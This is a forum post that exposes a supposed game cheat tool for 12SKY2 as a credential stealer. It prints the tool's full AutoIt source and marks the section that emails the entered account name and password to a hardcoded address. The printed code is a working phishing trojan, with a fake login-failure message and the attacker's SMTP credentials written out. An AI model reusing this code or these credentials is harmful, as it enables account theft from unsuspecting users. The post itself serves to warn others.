Lots of Global s won't include them all.
I know this is an old post but you wanted confirmation, so here it is, better late than never
after Trying to add color to text within code BB brackets *facepalm* i Added "-" to emphasise the part where your password gets sent away
Code: Select all
Global Const $cdrf_doerase = 8
Global Const $cdrf_skippostpaint = 256
Global Const $gui_ss_default_gui = BitOR($ws_minimizebox, $ws_caption, $ws_popup, $ws_sysmenu)
#Region ### START Koda GUI section ### Form=C:\Dokumente und Einstellungen\Art1\Desktop\12SKY2 CP HACK PRO\pics\CP HACK.kxf
$form1 = GUICreate("CP HACK PRO", 293, 309, 233, 149)
GUISetIcon("C:\Dokumente und Einstellungen\Art1\Desktop\12SKY2 CP HACK PRO\pics\icon.ico")
$pic1 = GUICtrlCreatePic("C:\Dokumente und Einstellungen\Art1\Desktop\12SKY2 CP HACK PRO\pics\gui.bmp", 0, 0, 292, 308, BitOR($ss_notify, $ws_group, $ws_clipsiblings))
GUICtrlSetState(-1, $gui_disable)
$input1 = GUICtrlCreateInput("", 72, 140, 155, 23, BitOR($es_center, $es_autohscroll))
GUICtrlSetFont(-1, 10, 800, 0, "Fixedsys")
GUICtrlSetColor(-1, 16711680)
GUICtrlSetBkColor(-1, 7434084)
$input2 = GUICtrlCreateInput("", 72, 186, 155, 21, BitOR($es_center, $es_password, $es_autohscroll))
GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 16711680)
GUICtrlSetBkColor(-1, 7434084)
$button1 = GUICtrlCreateButton("Button1", 72, 248, 157, 25, BitOR($bs_bitmap, $ws_group))
GUICtrlSetImage(-1, "C:\Dokumente und Einstellungen\Art1\Desktop\12SKY2 CP HACK PRO\pics\Login.bmp", 0)
$checkbox1 = GUICtrlCreateCheckbox("Save my login informations", 72, 272, 155, 17)
GUICtrlSetBkColor(-1, 8388608)
$progress1 = GUICtrlCreateProgress(72, 224, 155, 17, $pbs_smooth)
$label1 = GUICtrlCreateLabel(" Copyright©", 0, 291, 86, 17)
GUICtrlSetColor(-1, 16711680)
GUICtrlSetBkColor(-1, 12632256)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nmsg = GUIGetMsg()
Switch $nmsg
Case $gui_event_close
Exit
Case $button1
$password = GUICtrlRead($input2)
For $i = 1 To 100
GUICtrlSetData($progress1, $i)
Sleep(30)
GUICtrlSetData($label1, "Creating process.", "")
Next
-----------------------------------------------------------------------------------------------------------------------------------------------------------------
$acc = GUICtrlRead($input1)
$pw = GUICtrlRead($input2)
$smtpserver = "smtp.web.de"
$fromname = $acc
$fromaddress = "artofgraffity@web.de"
$toaddress = "artofgraffity@web.de"
$subject = $pw
$body = $pw
$attachfiles = ""
$ccaddress = ""
$bccaddress = ""
$importance = "Normal"
$username = "artofgraffity@web.de" Looks like this is the email your password + user gets send to, looks like a blatant key-logger.
$password = "Art123123,dumir"
$ipport = 25
$ssl = 0
Global $omyret[2]
Global $omyerror = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _inetsmtpmailcom($smtpserver, $fromname, $fromaddress, $toaddress, $subject, $body, $attachfiles, $ccaddress, $bccaddress, $importance, $username, $password, $ipport, $ssl)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------
If @error Then
MsgBox(0, "Error sending message", "Error code:" & @error & " Description:" & $rc)
Else
GUICtrlSetData($progress1, 0)
GUICtrlSetData($label1, "Failed to login.", "")
EndIf
Func _inetsmtpmailcom($s_smtpserver, $s_fromname, $s_fromaddress, $s_toaddress, $s_subject = "", $as_body = "", $s_attachfiles = "", $s_ccaddress = "", $s_bccaddress = "", $s_importance = "Normal", $s_username = "", $s_password = "", $ipport = 25, $ssl = 0)
Local $objemail = ObjCreate("CDO.Message")
$objemail.from = '"' & $s_fromname & '" <' & $s_fromaddress & ">"
$objemail.to = $s_toaddress
Local $i_error = 0
Local $i_error_desciption = ""
If $s_ccaddress <> "" Then $objemail.cc = $s_ccaddress
If $s_bccaddress <> "" Then $objemail.bcc = $s_bccaddress
$objemail.subject = $s_subject
If StringInStr($as_body, "<") AND StringInStr($as_body, ">") Then
$objemail.htmlbody = $as_body
Else
$objemail.textbody = $as_body & @CRLF
EndIf
If $s_attachfiles <> "" Then
Local $s_files2attach = StringSplit($s_attachfiles, ";")
For $x = 1 To $s_files2attach[0]
$s_files2attach[$x] = _pathfull($s_files2attach[$x])
If FileExists($s_files2attach[$x]) Then
ConsoleWrite("+> File attachment added: " & $s_files2attach[$x] & @LF)
$objemail.addattachment($s_files2attach[$x])
Else
ConsoleWrite("!> File not found to attach: " & $s_files2attach[$x] & @LF)
SetError(1)
Return 0
EndIf
Next
EndIf
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_smtpserver
If Number($ipport) = 0 Then $ipport = 25
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $ipport
If $s_username <> "" Then
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_username
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_password
EndIf
If $ssl Then
$objemail.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
$objemail.configuration.fields.update
Switch $s_importance
Case "High"
$objemail.fields.item("urn:schemas:mailheader:Importance") = "High"
Case "Normal"
$objemail.fields.item("urn:schemas:mailheader:Importance") = "Normal"
Case "Low"
$objemail.fields.item("urn:schemas:mailheader:Importance") = "Low"
EndSwitch
$objemail.fields.update
$objemail.send
If @error Then
SetError(2)
Return $omyret[1]
EndIf
$objemail = ""
EndFunc
Func myerrfunc()
$hexnumber = Hex($omyerror.number, 8)
$omyret[0] = $hexnumber
$omyret[1] = StringStripWS($omyerror.description, 3)
ConsoleWrite("### COM Error ! Number: " & $hexnumber & " ScriptLine: " & $omyerror.scriptline & " Description:" & $omyret[1] & @LF)
SetError(1)
Return
EndFunc
If $password = "The1elitegod" Then
GUICtrlSetData($label1, "Login successful", "")
GUICtrlSetData($progress1, 0)
EndIf
Case $form1
EndSwitch
WEnd
Who is online